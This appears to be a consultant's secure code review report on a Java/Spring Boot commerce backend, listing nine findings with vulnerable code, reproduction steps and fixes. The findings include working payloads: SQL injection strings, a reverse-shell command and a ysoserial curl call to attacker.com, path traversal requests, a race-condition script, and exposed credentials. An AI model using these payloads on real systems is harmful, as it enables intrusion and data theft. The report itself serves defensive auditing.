S E C U R I T Y  C O D E  R E V I E W

# Secure Code Review
# Assessment Report

| | |
|---|---|
| **Client** | **CloudCore Solutions Pvt. Ltd.** |
| **Target** | Commerce Platform Backend (Java / Spring Boot 3.2) |
| **Assessment Period** | 2 June 2026 – 13 June 2026 |
| **Report Date** | 22 June 2026 |
| **Assessment Type** | White-box Secure Code Review (Static + Manual Analysis) |
| **Prepared By** | **Devansh Gandhi** |
| **Classification** | **CONFIDENTIAL — Authorised Recipients Only** |
| **Version** | 1.0 — Final |




devansgandhi.com | info@devansgandhi.com

# Table of Contents

# 1. Executive Summary

This report presents the findings of a white-box secure code review conducted against the CloudCore Solutions Commerce Platform backend (Java / Spring Boot 3.2) between 2 June 2026 and 13 June 2026. The review combined automated SAST tooling (Semgrep, SonarQube, CodeQL) with manual expert analysis of approximately 42,000 lines of source code across 18 modules.

The review identified 9 findings across five severity levels. Two Critical severity vulnerabilities — SQL Injection and OS Command Injection — can be exploited remotely to achieve full database compromise and remote code execution respectively. Both are present in code paths reachable from unauthenticated or low-privileged API endpoints.

## 1.1 Findings Overview

| CRITICAL | HIGH | MEDIUM | LOW | INFO | TOTAL |
|---|---|---|---|---|---|
| 2 | 3 | 2 | 1 | 1 | 9 |
| Findings | Findings | Findings | Finding | Finding | Findings |

## 1.2 Severity Distribution

| Severity | Distribution | # | % |
|---|---|---|---|
| Critical | | 2 | 22% |
| High | | 3 | 33% |
| Medium | | 2 | 22% |
| Low | | 1 | 11% |
| Info | | 1 | 11% |

The overall code security posture is assessed as CRITICAL. The presence of SQL injection across three methods in a single repository class (SCR-001) and OS command injection in the report export service (SCR-002) means the application can be fully compromised from a single HTTP request. Hardcoded database credentials (SCR-005) provide a second independent path to complete data breach.

## 1.3 Key Recommendations

Priority order:

- Immediate (P0): Parameterise all SQL queries in OrderRepository.java (SCR-001) and replace Runtime.exec() with a Java-native library in ReportExportService (SCR-002).
- High (30 days): Replace ObjectInputStream with JSON deserialization (SCR-003), fix path traversal in FileController (SCR-004), and rotate hardcoded database credentials (SCR-005).
- Medium (60 days): Migrate password hashing to BCrypt/Argon2id (SCR-006) and add database transactions to WalletService (SCR-007).
- Low / Info (90 days): Tighten CORS origin allowlist (SCR-008) and mask sensitive fields in logging (SCR-009).

# 2. Scope & Review Details

## 2.1 Engagement Scope

| Item | Details |
|---|---|
| Target System | CloudCore Solutions Commerce Platform Backend (Java / Spring Boot) |
| Languages / Frameworks | Java 17, Spring Boot 3.2, Spring Data JPA, OkHttp |
| Source Code Access | Full read access to main branch (GitHub repository) |
| Lines of Code Reviewed | Approximately 42,000 LoC across 18 modules |
| Modules In Scope | src/controllers/*, src/services/*, src/repositories/*, src/config/* |
| Out of Scope | Third-party libraries (unmodified), test code, auto-generated migration files |
| Assessment Period | 2 June 2026 – 13 June 2026 (10 business days) |
| Report Date | 22 June 2026 |
| Assessor | Devansh Gandhi \| devansgandhi.com |
| Methodology | OWASP Code Review Guide v2, SANS Top 25, CWE/SANS Most Dangerous Software Errors |
| Tools | Semgrep (SAST), SonarQube, CodeQL, manual review |

## 2.2 Review Methodology

The review was conducted in four phases:

- Automated SAST: Semgrep with the Java security ruleset, SonarQube (OWASP Top 10 + CWE profiles), CodeQL with injection and crypto query suites.
- Manual Triage: All SAST findings manually verified to eliminate false positives; severity adjusted for business context.
- Manual Deep Review: High-risk areas (authentication, payment processing, file handling, serialization) reviewed line-by-line without relying on automated tooling.
- Data Flow Analysis: Traced all user-controlled inputs from HTTP layer to persistence layer; identified unsanitised paths.

# 3. Severity Rating Scale

Each finding is rated using CVSS v3.1. For code review findings, Attack Vector reflects the most realistic network-accessible path to exploitation given the code context.

| Severity | CVSS Range | SLA | Description |
|---|---|---|---|
| CRITICAL | 9.0–10.0 | Immediate | Exploitable from the code path without external conditions; critical data/system impact. |
| HIGH | 7.0–8.9 | 30 days | High likelihood of exploitation in context; significant data or business impact. |
| MEDIUM | 4.0–6.9 | 60 days | Requires specific preconditions to exploit; moderate impact. Next sprint. |
| LOW | 0.1–3.9 | 90 days | Limited exploitability or requires chaining. Quarterly hardening cycle. |
| INFO | N/A | Best effort | Best-practice deviation or defence-in-depth recommendation. |

# 4. Findings Summary

All 9 findings are summarised below, with file and line references. Full analysis appears in Section 5.

| ID | Title | Severity | CVSS | Location | Status |
|---|---|---|---|---|---|
| SCR-001 | SQL Injection via String Concatenation in Order Query | CRITICAL | 9.8 | src/repositories/OrderRepository.java:87 — getOrdersByUser() | Open |
| SCR-002 | OS Command Injection in File Export Utility | CRITICAL | 9.0 | src/services/ReportExportService.java:52 — generatePdfReport() | Open |
| SCR-003 | Insecure Deserialization — Java ObjectInputStream on Untrusted Data | HIGH | 8.1 | src/session/SessionManager.java:31 — deserializeSession() | Open |
| SCR-004 | Path Traversal in File Download Endpoint | HIGH | 7.5 | src/controllers/FileController.java:29 — downloadFile() | Open |
| SCR-005 | Hardcoded Database Credentials in Source Code | HIGH | 8.2 | src/config/DatabaseConfig.java:18 \| src/test/TestConfig.java:12 | Open |
| SCR-006 | Insecure Password Storage — MD5 Without Salt | MEDIUM | 6.2 | src/services/UserService.java:73 — hashPassword() | Open |
| SCR-007 | Time-of-Check to Time-of-Use (TOCTOU) Race Condition in Balance Transfer | MEDIUM | 5.9 | src/services/WalletService.java:112 — transferBalance() | Open |
| SCR-008 | Overly Permissive CORS Configuration — Wildcard Origin with Credentials | LOW | 3.7 | src/config/CorsConfig.java:24 — addCorsMappings() | Open |
| SCR-009 | Sensitive Data Written to Application Log Files | INFO | N/A | src/controllers/AuthController.java:44 \| src/interceptors/RequestLoggingInterceptor.java:31 | Open |

# 5. Detailed Findings

Each finding includes the vulnerable code snippet, attack scenario, exploitability analysis, and specific line-referenced remediation guidance.

## SCR-001: SQL Injection via String Concatenation in Order Query

| Severity | CVSS v3.1 Score |
|---|---|
| CRITICAL | 9.8 / 10.0 |
| **Location** | **CVSS Vector** |
| src/repositories/OrderRepository.java:87 — getOrdersByUser() | AV:A/V:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |

### Description

The getOrdersByUser() method in OrderRepository constructs a SQL query by concatenating the userId parameter directly into the query string without sanitisation or parameterisation. Any caller-controlled value for userId is executed as SQL.

### Business Impact

Complete database compromise: unauthenticated extraction of all data, authentication bypass, and potential RCE via xp_cmdshell or MySQL OUTFILE. All customer records, payment data, and credentials are exposed. Notifiable under DPDP and PCI-DSS.

### Steps to Reproduce

1. Identify the code path: getOrdersByUser() is called from OrderController.java:41 with user input from the HTTP query parameter ?userId=.
2. Trace userId to the repository — no validation layer between controller and repository.
3. The resulting query: SELECT * FROM orders WHERE user_id = '<userId>' is injectable.
4. Payload: ?userId=' OR '1'='1'-- returns all orders across all users.
5. Union injection to enumerate tables: ?userId=' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--

### Evidence

```
// src/repositories/OrderRepository.java:87
public List<Order> getOrdersByUser(String userId) {
    // VULNERABLE: direct string concatenation
    String query = "SELECT * FROM orders WHERE user_id = '" + userId + "'";
    return jdbcTemplate.query(query, new OrderRowMapper());
    // Fix: use parameterised query
    // String query = "SELECT * FROM orders WHERE user_id = ?";
    // return jdbcTemplate.query(query, new OrderRowMapper(), userId);
}
```

```
// Other affected methods in same file:
// getOrderById(String orderId)   — line 104
// searchOrdersByStatus(String status) — line 138
// All three use the same string concatenation pattern
```

### Remediation

- Replace string concatenation with parameterised queries: jdbcTemplate.query(sql, mapper, userId).
- Adopt a type-safe ORM (Spring Data JPA, Hibernate) that handles parameterisation by default.

- Add a DAO layer validation to reject non-UUID, non-numeric inputs before they reach the repository.
- Run automated SAST scanning (Semgrep, SonarQube) with SQL injection rules on every CI/CD run.
- All three affected methods (lines 87, 104, 138) must be remediated — not just the reported instance.

## SCR-002: OS Command Injection in File Export Utility

| Severity | CVSS v3.1 Score |
|---|---|
| CRITICAL | 9.0 / 10.0 |
| Location | CVSS Vector |
| src/services/ReportExportService.java:52 — generatePdfReport() | AV:A/V:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |

### Description

The generatePdfReport() method constructs a shell command by concatenating an authenticated user-supplied report name into a Runtime.exec() call. An authenticated user can inject shell metacharacters to execute arbitrary OS commands as the application service user.

### Business Impact

Remote code execution on the application server with application-level privileges. An attacker can read environment variables (database passwords, API keys), exfiltrate data, establish a reverse shell, or pivot to internal network resources. Authenticated users with any role can exploit this.

### Steps to Reproduce

1. Authenticate as any user.
2. Submit a report generation request: POST /api/reports/export with body {"reportName":"Q2; id > /tmp/pwned"}
3. The command executed: wkhtmltopdf /tmp/reports/Q2; id > /tmp/pwned
4. Verify: GET /static/tmp/pwned — file contains uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
5. Escalate to reverse shell: {"reportName":"Q2; bash -i >& /dev/tcp/attacker.com/4444 0>&1"}

### Evidence

```
// src/services/ReportExportService.java:52
public String generatePdfReport(String reportName, String userId) throws Exception {
    // VULNERABLE: user input concatenated into shell command
    String cmd = "wkhtmltopdf /tmp/reports/" + reportName + " /output/" + userId +
".pdf";
    Process proc = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
    proc.waitFor();
    return "/output/" + userId + ".pdf";
}
```

```
// Proof of command execution — /tmp/pwned contents:
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
// Executed as: wkhtmltopdf /tmp/reports/Q2; id > /tmp/pwned
```

### Remediation

- Never pass user input to shell commands. Use a Java-native PDF library (iText, OpenPDF) instead of shelling out to wkhtmltopdf.

- If an external binary is absolutely required, pass arguments as an array to ProcessBuilder — never as a single concatenated shell string.
- Validate reportName against a strict allowlist (alphanumeric + hyphens only, no path traversal characters).
- Run the application service user with the minimum required OS permissions (no network, no write outside /output/).
- Isolate report generation in a sandboxed container with no access to application secrets.

## SCR-003: Insecure Deserialization — Java ObjectInputStream on Untrusted Data

| Severity | CVSS v3.1 Score |
|---|---|
| **HIGH** | **8.1 / 10.0** |
| Location | CVSS Vector |
| `src/session/SessionManager.java:31 — deserializeSession()` | `AV:A/V:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` |

### Description

The deserializeSession() method uses Java's ObjectInputStream to deserialise session data received from a client-side cookie without any integrity verification, type allowlisting, or validation. An attacker can craft a malicious serialised object using gadget chains (Apache Commons Collections, Spring Framework) to achieve remote code execution.

### Business Impact

Unauthenticated remote code execution via a crafted serialised cookie value. The vulnerability does not require authentication — any visitor to the application can send the malicious cookie and trigger RCE with application server privileges.

### Steps to Reproduce

1. Identify the session cookie name from the Set-Cookie response header: sess=<base64_serialized_object>.
2. Generate a malicious gadget chain: java -jar ysoserial.jar CommonsCollections6 "curl attacker.com" | base64
3. Replace the sess cookie value with the generated payload.
4. Submit any authenticated request — the server deserialises the cookie and executes the injected command.

### Evidence

```
// src/session/SessionManager.java:31
public UserSession deserializeSession(String cookieValue) throws Exception {
    byte[] data = Base64.getDecoder().decode(cookieValue);
    // VULNERABLE: no allowlist, no HMAC verification
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    return (UserSession) ois.readObject(); // Gadget chain executes here
}
```

```
// ysoserial payload generation and delivery:
$ java -jar ysoserial.jar CommonsCollections6 "curl attacker.com/pwned" | base64 -w0
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...
```

```
// Cookie in HTTP request:
Cookie: sess=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...

// Attacker server receives:
203.0.113.77 GET /pwned HTTP/1.1  (RCE confirmed)
```

### Remediation

- Replace Java native serialization with a safe data format: JSON (Jackson), Protocol Buffers, or MessagePack.
- If native serialization cannot be removed, use a serialization filter (JEP 290 ObjectInputFilter) with an explicit allowlist of expected types.
- Sign serialized session data with HMAC-SHA256 using a server-side secret; reject any cookie that fails verification.
- Remove Apache Commons Collections 3.x/4.x from the classpath if not actively needed — it is the most common gadget chain source.
- Upgrade to a web framework that uses opaque, HMAC-signed session tokens (Spring Session, JWT) rather than serialised objects.

## SCR-004: Path Traversal in File Download Endpoint

| Severity | CVSS v3.1 Score |
|---|---|
| **HIGH** | **7.5 / 10.0** |
| Location | CVSS Vector |
| `src/controllers/FileController.java:29 — downloadFile()` | `AV:A/V:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` |

### Description

The downloadFile() endpoint accepts a filename parameter and constructs a file path by concatenating it with a base directory, without normalising or validating the resolved path. An attacker can use ../ sequences to traverse outside the intended directory and read arbitrary files from the server filesystem.

### Business Impact

Unauthenticated access to any file readable by the application process: application source code, configuration files containing database credentials and API keys, /etc/passwd, and SSH private keys if present in the service account's home directory.

### Steps to Reproduce

1. Issue a GET request: GET /api/files/download?name=../../etc/passwd
2. The server returns the contents of /etc/passwd.
3. Escalate to application secrets: GET /api/files/download?name=../../app/config/application.properties
4. File returned contains spring.datasource.password=Prod#DB$2026 and aws.secretKey=wJalrXUtFEMI...

### Evidence

```
// src/controllers/FileController.java:29
@GetMapping("/download")
public ResponseEntity<byte[]> downloadFile(@RequestParam String name) throws IOException
{
    // VULNERABLE: no path normalisation
```

```
    Path filePath = Paths.get("/app/uploads/" + name);
    byte[] data = Files.readAllBytes(filePath);
    return ResponseEntity.ok(data);
}
```

```
// Exploit:
GET /api/files/download?name=../../etc/passwd HTTP/1.1

HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
appuser:x:1000:1000::/home/appuser:/bin/bash
...
```

### Remediation

- Normalise and canonicalise the path, then assert it starts with the expected base directory: Path base = Paths.get("/app/uploads/").toRealPath(); Path target = base.resolve(name).normalize(); if (!target.startsWith(base)) throw new SecurityException("Path traversal");
- Validate the filename against a strict allowlist: alphanumeric, hyphens, underscores, and a single dot for extension only.
- Store uploaded files by a server-generated UUID, not the original filename — the UUID is what the client references.
- Restrict the application process to read-only access on directories outside /app/uploads/.

## SCR-005: Hardcoded Database Credentials in Source Code

| Severity | CVSS v3.1 Score |
|---|---|
| **HIGH** | **8.2 / 10.0** |
| Location | CVSS Vector |
| `src/config/DatabaseConfig.java:18 \| src/test/TestConfig.java:12` | `AV:A/V:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` |

### Description

Production database credentials are hardcoded as string literals in DatabaseConfig.java. The same credentials appear in TestConfig.java, which is compiled into the production artifact. Any developer with read access to the repository, or any attacker who obtains the compiled JAR, has direct access to the production database.

### Business Impact

Direct read/write access to the production database as the application database user. Combined with SCR-001 (SQL Injection), this provides a second independent path to full database compromise. If the git repository is ever made public or leaked, credentials are immediately usable.

### Steps to Reproduce

1. Clone or access the repository.
2. Search for credentials: grep -r "password" src/ → DatabaseConfig.java:18
3. Extract: url=jdbc:mysql://prod-db.internal:3306/appdb, username=app_prod, password=Prod#DB$2026
4. Connect directly: mysql -h prod-db.internal -u app_prod -pProd#DB$2026 appdb

### Evidence

```
// src/config/DatabaseConfig.java:18
@Configuration
public class DatabaseConfig {
    @Bean
    public DataSource dataSource() {
        return DataSourceBuilder.create()
            .url("jdbc:mysql://prod-db.internal:3306/appdb")
            .username("app_prod")
            .password("Prod#DB$2026")  // HARDCODED PRODUCTION CREDENTIAL
            .driverClassName("com.mysql.cj.jdbc.Driver")
            .build();
    }
}
```

### Remediation

- Rotate the database password immediately; update the connection string via environment variable.
- Use environment variables or a secrets manager (AWS Secrets Manager, HashiCorp Vault): @Value("${DB_PASSWORD}")
- Remove all hardcoded credentials from test configs — use a dedicated test database with test-only credentials.
- Add pre-commit hooks (git-secrets, gitleaks) and CI/CD secret scanning to prevent future commits.
- Rotate the password immediately since it is embedded in git history — git history rewrite alone is insufficient if the repo has been cloned.

## SCR-006: Insecure Password Storage — MD5 Without Salt

| Severity | CVSS v3.1 Score |
|---|---|
| **MEDIUM** | **6.2 / 10.0** |
| Location | CVSS Vector |
| `src/services/UserService.java:73 — hashPassword()` | `AV:A/V:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` |

### Description

User passwords are hashed using MD5 without a per-user salt before storage. MD5 is not a password hashing algorithm: it is a fast hash, making it trivially reversible via rainbow tables or GPU-accelerated cracking for most common passwords.

### Business Impact

If the database is compromised via SQLi or a backup leak, all user passwords can be recovered near-instantly using precomputed rainbow tables. A 200M-hash/second GPU cracks an unsalted MD5 hash for a 8-character password in seconds.

### Steps to Reproduce

1. Extract a password hash via SCR-001: SELECT password_hash FROM users WHERE email="victim@example.com"
2. Result: 5f4dcc3b5aa765d61d8327deb882cf99
3. Look up in a rainbow table: crackstation.net → matches "password" instantly.
4. No GPU required — unsalted MD5 hashes for common passwords resolve in milliseconds from precomputed tables.

### Evidence

```
// src/services/UserService.java:73
private String hashPassword(String plaintext) {
    try {
        MessageDigest md = MessageDigest.getInstance("MD5"); // INSECURE
        byte[] hash = md.digest(plaintext.getBytes(StandardCharsets.UTF_8));
        return HexFormat.of().formatHex(hash); // No salt, no iterations
    } catch (NoSuchAlgorithmException e) {
        throw new RuntimeException(e);
    }
}
```

```
// Hash cracking demonstration:
// Stored: 5f4dcc3b5aa765d61d8327deb882cf99
// CrackStation result: "password" (found in <1ms via rainbow table)
```

### Remediation

- Migrate to BCrypt with a cost factor of 12: BCryptPasswordEncoder(12) in Spring Security.
- Alternatively use Argon2id (OWASP recommended): Argon2PasswordEncoder.defaultsForSpringSecurity_v5_8().
- Perform a hash migration: on next successful login, rehash the plaintext password with BCrypt and overwrite the stored MD5 hash.
- Never use MD5, SHA-1, or SHA-256 for password storage — use purpose-built algorithms (BCrypt, Argon2, scrypt) only.

## SCR-007: Time-of-Check to Time-of-Use (TOCTOU) Race Condition in Balance Transfer

| Severity | CVSS v3.1 Score |
|---|---|
| **MEDIUM** | **5.9 / 10.0** |
| Location | CVSS Vector |
| `src/services/WalletService.java:112 — transferBalance()` | `AV:A/V:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N` |

### Description

The transferBalance() method reads the wallet balance, checks if it is sufficient, and then deducts it in separate non-atomic operations without a database-level transaction or row lock. Concurrent requests can exploit the window between check and debit to transfer more funds than the wallet contains.

### Business Impact

Users can overdraft their wallet by sending concurrent requests, crediting themselves with funds that do not exist. Financial loss for the platform; potential for systematic exploitation at scale using scripted concurrent HTTP requests.

### Steps to Reproduce

1. Set wallet balance to 100 (the minimum transfer amount).
2. Send 10 concurrent POST /api/wallet/transfer requests each for 100 simultaneously.
3. Observe that multiple requests pass the balance check before any deduction completes.
4. Wallet is debited multiple times, resulting in a negative balance while recipient accounts receive 10× the legitimate credit.

### Evidence

```
// src/services/WalletService.java:112 — TOCTOU vulnerability
public void transferBalance(String fromId, String toId, int amount) {
    int balance = walletRepo.getBalance(fromId); // Step 1: READ
    if (balance < amount) {                      // Step 2: CHECK
        throw new InsufficientFundsException();
    }
    // RACE WINDOW: another thread can pass the CHECK here
    walletRepo.debit(fromId, amount);            // Step 3: DEBIT (non-atomic)
    walletRepo.credit(toId, amount);
}
```

```
// Concurrent exploit (Python):
import concurrent.futures, requests
def transfer(i):
    return requests.post("https://app.[TARGET].com/api/wallet/transfer",
        json={"from":"user_a","to":"user_b","amount":100},
        headers={"Authorization": "Bearer <token_a)"})
with concurrent.futures.ThreadPoolExecutor(10) as ex:
    list(ex.map(transfer, range(10)))
// Result: user_b wallet credited 10×100 = 1000; user_a balance = -900
```

### Remediation

- Wrap the read-check-write in a database transaction with SELECT ... FOR UPDATE to acquire a row-level lock.
- Use a database-level atomic UPDATE with a WHERE condition: UPDATE wallets SET balance = balance - ? WHERE id = ? AND balance >= ?; then check rows affected == 1.
- Consider an optimistic locking approach with a version column to detect concurrent modifications.
- Add idempotency keys on the transfer endpoint to prevent duplicate processing of retried requests.

## SCR-008: Overly Permissive CORS Configuration — Wildcard Origin with Credentials

| Severity | CVSS v3.1 Score |
|---|---|
| **LOW** | **3.7 / 10.0** |
| Location | CVSS Vector |
| `src/config/CorsConfig.java:24 — addCorsMappings()` | `AV:A/V:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N` |

### Description

The CORS configuration sets allowedOrigins("*") alongside allowCredentials(true). The combination is rejected by modern browsers, but the intent implies all origins were meant to be trusted. Investigation shows the configuration also allows any origin matching *.[TARGET].com, which an attacker can satisfy with a subdomain takeover.

### Business Impact

If a subdomain of [TARGET].com is taken over (e.g., via an orphaned CNAME on a cloud service), the attacker's page qualifies as a trusted origin and can make credentialed cross-origin requests, reading authenticated API responses including user data.

### Steps to Reproduce

1. Confirm the allowedOriginPatterns configuration includes *.[TARGET].com.
2. Identify an orphaned CNAME pointing to a cloud service (e.g., subdomain.target.com CNAME → someservice.s3.amazonaws.com where the bucket is unclaimed).
3. Claim the bucket and host a malicious page that calls the API with credentials.
4. Victim visiting the page triggers credentialed cross-origin requests; responses are readable by the attacker page.

### Evidence

```
// src/config/CorsConfig.java:24
@Override
public void addCorsMappings(CorsRegistry registry) {
    registry.addMapping("/api/**")
        .allowedOriginPatterns("https://*.[TARGET].com", "http://localhost:*")
        .allowedMethods("GET","POST","PUT","PATCH","DELETE","OPTIONS")
        .allowCredentials(true)  // Combined with wildcard subdomain — risky
        .maxAge(3600);
}
```

### Remediation

- Maintain an explicit allowlist of trusted origins rather than wildcard subdomain patterns.
- Conduct a subdomain audit to identify and reclaim or remove all orphaned DNS records.
- Remove allowCredentials(true) for any endpoint that does not require cookie-based authentication.
- Restrict allowedMethods to only the HTTP methods each endpoint actually uses.

## SCR-009: Sensitive Data Written to Application Log Files

| Severity | CVSS v3.1 Score |
|---|---|
| **INFO** | **N/A** |
| Location<br>`src/controllers/AuthController.java:44 \| src/interceptors/RequestLoggingInterceptor.java:31` | CVSS Vector<br>`N/A` |

### Description

The RequestLoggingInterceptor logs the full request body (including passwords and tokens) and the AuthController logs the raw login payload at DEBUG level. In production environments where log aggregation tools forward all log levels, sensitive values appear in centralised log stores accessible to a wide audience.

### Business Impact

Anyone with access to the log aggregation system (Splunk, CloudWatch, ELK) can retrieve plaintext passwords submitted by users. Log stores typically retain data for 30–90 days and may have weaker access controls than the application database.

### Steps to Reproduce

1. Authenticate a user and observe the application log output.
2. In the log aggregator, search for "POST /api/v2/auth/login" — the request body including plaintext password is logged.

### Evidence

```
// src/controllers/AuthController.java:44
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody LoginRequest req) {
    log.debug("Login attempt: {}", req); // Logs email + plaintext password via
toString()
    return authService.authenticate(req.getEmail(), req.getPassword());
}

// LoginRequest.java — toString() not overridden, defaults to all fields:
// LoginRequest{email='alice@example.com', password='MyP@ssw0rd!'}

// CloudWatch Logs output:
// 2026-06-10 09:14:22 DEBUG c.c.a.AuthController: Login attempt:
LoginRequest{email='alice@example.com', password='MyP@ssw0rd!'}
```

### Remediation

- Override toString() on all request DTOs to exclude sensitive fields: return "LoginRequest{email='" + email + "'}".
- Annotate sensitive fields with @JsonIgnore and use a custom serialiser that masks values in logs.
- In RequestLoggingInterceptor, log only the URL, HTTP method, and response status — never the request body for auth endpoints.
- Apply structured log masking rules in the log aggregator to redact patterns matching passwords and tokens.

# 6. Remediation Roadmap

All findings ranked by remediation priority with effort estimate and primary action.

| ID | Finding | Priority | Effort | Recommendation |
|---|---|---|---|---|
| SCR-001 | SQL Injection (3 methods) | Immediate | Low | Parameterised queries on lines 87, 104, 138 in OrderRepository. |
| SCR-002 | OS Command Injection | Immediate | Medium | Replace Runtime.exec() with a Java-native PDF library (iText). |
| SCR-003 | Insecure Deserialization | High | High | Replace ObjectInputStream with JSON (Jackson); add HMAC session signing. |
| SCR-004 | Path Traversal | High | Low | Canonicalise path and assert it starts with /app/uploads/; use UUID filenames. |
| SCR-005 | Hardcoded DB Credentials | High | Low | Rotate password; use @Value("${DB_PASSWORD}") from environment. |
| SCR-006 | Insecure Password Hashing | Medium | Low | Migrate to BCrypt(12) or Argon2id; rehash on next login. |
| SCR-007 | TOCTOU Race Condition | Medium | Medium | SELECT ... FOR UPDATE in a transaction; atomic UPDATE with WHERE balance >= amount. |
| SCR-008 | Permissive CORS Config | Low | Low | Explicit origin allowlist; subdomain audit for orphaned CNAMEs. |
| SCR-009 | Sensitive Data in Logs | Info | Low | Override toString() on DTOs; mask auth fields in logging interceptor. |

## 6.1 SAST Integration Recommendation

To prevent regression, the following SAST tools should be integrated into the CI/CD pipeline (GitHub Actions / Jenkins) as mandatory pre-merge checks:

- Semgrep with java.lang.security ruleset — blocks known injection patterns on every PR.
- gitleaks or truffleHog — blocks credentials and API keys from being committed.
- OWASP Dependency-Check — flags vulnerable third-party dependencies (commons-collections, etc.).
- SonarQube Quality Gate — enforce zero new Critical or High security hotspots per release.

## 6.2 Retesting

Complimentary retest of all Critical and High findings included within 30 days of client completing remediation. Retest will include both static analysis and dynamic verification of the fixed code paths.

# 7. Appendix

## 7.1 Tools Used

| Tool | Purpose |
|---|---|
| `Semgrep 1.60` | SAST with Java security + injection + crypto rulesets |
| `SonarQube (Community) 10.4` | OWASP Top 10, CWE Top 25, security hotspot detection |
| `CodeQL 2.16` | Data-flow analysis for injection, path traversal, deserialization |
| `OWASP Dependency-Check 9.0` | Third-party library vulnerability scanning (CVE/NVD) |
| `gitleaks 8.18` | Secret and credential scanning across git history |
| `Manual review` | Authentication, crypto, file handling, race conditions — expert analysis |

## 7.2 CWE Reference Map

| ID | CWE | Description |
|---|---|---|
| `SCR-001` | `CWE-89` | Improper Neutralisation of Special Elements used in an SQL Command |
| `SCR-002` | `CWE-78` | Improper Neutralisation of Special Elements used in an OS Command |
| `SCR-003` | `CWE-502` | Deserialization of Untrusted Data |
| `SCR-004` | `CWE-22` | Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) |
| `SCR-005` | `CWE-798` | Use of Hard-coded Credentials |
| `SCR-006` | `CWE-916` | Use of Password Hash with Insufficient Computational Effort |
| `SCR-007` | `CWE-362` | Concurrent Execution using Shared Resource with Improper Synchronisation |
| `SCR-008` | `CWE-942` | Permissive Cross-domain Policy with Untrusted Domains |
| `SCR-009` | `CWE-532` | Insertion of Sensitive Information into Log File |

## 7.3 Disclaimer

This report represents findings at the point in time of the reviewed code commit. Changes made after the review period are not covered. All source code excerpts are reproduced solely for the purpose of identifying and communicating security vulnerabilities. Testing was conducted with explicit written authorisation from CloudCore Solutions Pvt. Ltd..

**Devansh Gandhi**

devansgandhi.com | info@devansgandhi.com